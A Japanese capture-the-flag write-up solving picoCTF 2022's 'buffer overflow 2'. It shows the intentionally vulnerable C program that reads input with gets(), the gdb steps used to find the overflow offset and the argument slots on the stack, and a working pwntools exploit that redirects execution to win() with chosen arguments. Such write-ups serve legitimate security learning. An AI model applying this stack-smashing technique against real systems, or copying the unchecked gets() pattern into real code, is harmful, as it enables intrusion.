picoCTF 2022 buffer overflow 2 Writeup


リターンアドレスの書き換えと,関数の引数を設定する縛り。

Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?

問題

ソース

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

vuln()関数にBOFがあり,vuln()関数からmain()に戻るときの戻りアドレスをwin()関数のアドレスに書き換えるいつものパターン。

ただし,win()関数の引数を設定しなければならない縛りがある。

Aの数を求める

vuln()の戻りアドレス

gdb で pdisass main して vuln() の戻りアドレスを確認

   0x080493d8 <+102>:	call   0x8049338 <vuln>
   0x080493dd <+107>:	mov    eax,0x0

0x080493dd だ。

BOF直後のスタックを確認

gdb で pdisass vuln して ブレイクポイントの設定場所を確認

   0x08049355 <+29>:	call   0x80490f0 <gets@plt>
   0x0804935a <+34>:	add    esp,0x10

b *0x0804935a
r
c
AAA
とすすめる

Aの数を確認

Aの数は 4*28 個だ。

win関数のアドレス

gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x8049296 <win>

0x8049296

実験1

これだけわかったらソルバー書いて実験してみる

solver.py
import pwn
#io = pwn.remote("saturn.picoctf.net", 55335)
io = pwn.process("./vuln")
ret = io.readuntil("Please enter your string: \n")
print(ret)
win_addr = 0x8049296
s = b"A" * 4 * 28
s += pwn.p32(win_addr)
print(s)
io.send(s)
io.interactive()

どうかな?

「flag.txtが無い」って怒られたのでok。

あとは,

  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;

の縛りをクリアするだけ。

win()関数の引数

関数プロローグが済んだ後は,第一引数は, ebp+0x8 になるはず!

gdb で vuln()関数の ret まで進め,gdbで戻りアドレスをwin()関数に書き換える

   0x08049371 <+57>:	ret   

b *0x08049371

gdb-peda$ x/40gw $esp
0xffffd3ec:	0x080493dd	0x00000001	0xffffd4b4	0xffffd4bc

0xffffd3ecに書き換えたいvuln()の戻りアドレスがあるので書き換える

Breakpoint 1, 0x08049371 in vuln ()
gdb-peda$ x/40gw $esp
0xffffd3ec:	0x080493dd	0x00000001	0xffffd4b4	0xffffd4bc
gdb-peda$ set {int}0xffffd3ec=0x8049296
gdb-peda$ x/40gw $esp
0xffffd3ec:	0x08049296	0x00000001	0xffffd4b4	0xffffd4bc

si で進め,win()関数に入る。

引数のアドレス確認。

   0x0804930c <+118>:	cmp    DWORD PTR [ebp+0x8],0xcafef00d
   0x08049315 <+127>:	cmp    DWORD PTR [ebp+0xc],0xf00df00d

ビンゴ,想定通り

引数1は ebp+0x8
引数2は ebp+0xc

siで進めて,関数プロローグを終わらせる

ここで ebp を確認

引数1 ebp+0x8 は,スタックアドレス 0xffffd3f4
引数1 ebp+0xc は,スタックアドレス 0xffffd3f8

Aの数を確認した時のスタック

攻撃コード(最終形)

solver.py
import pwn
io = pwn.remote("saturn.picoctf.net", 49754)
#io = pwn.process("./vuln")
ret = io.readuntil("Please enter your string: \n")
print(ret)
win_addr = 0x8049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D
s = b"A" * 4 * 28
s += pwn.p32(win_addr)
s += pwn.p32(0x00000001)
s += pwn.p32(arg1)
s += pwn.p32(arg2)
print(s)
io.send(s)
io.interactive()

どうかな?

刺さった!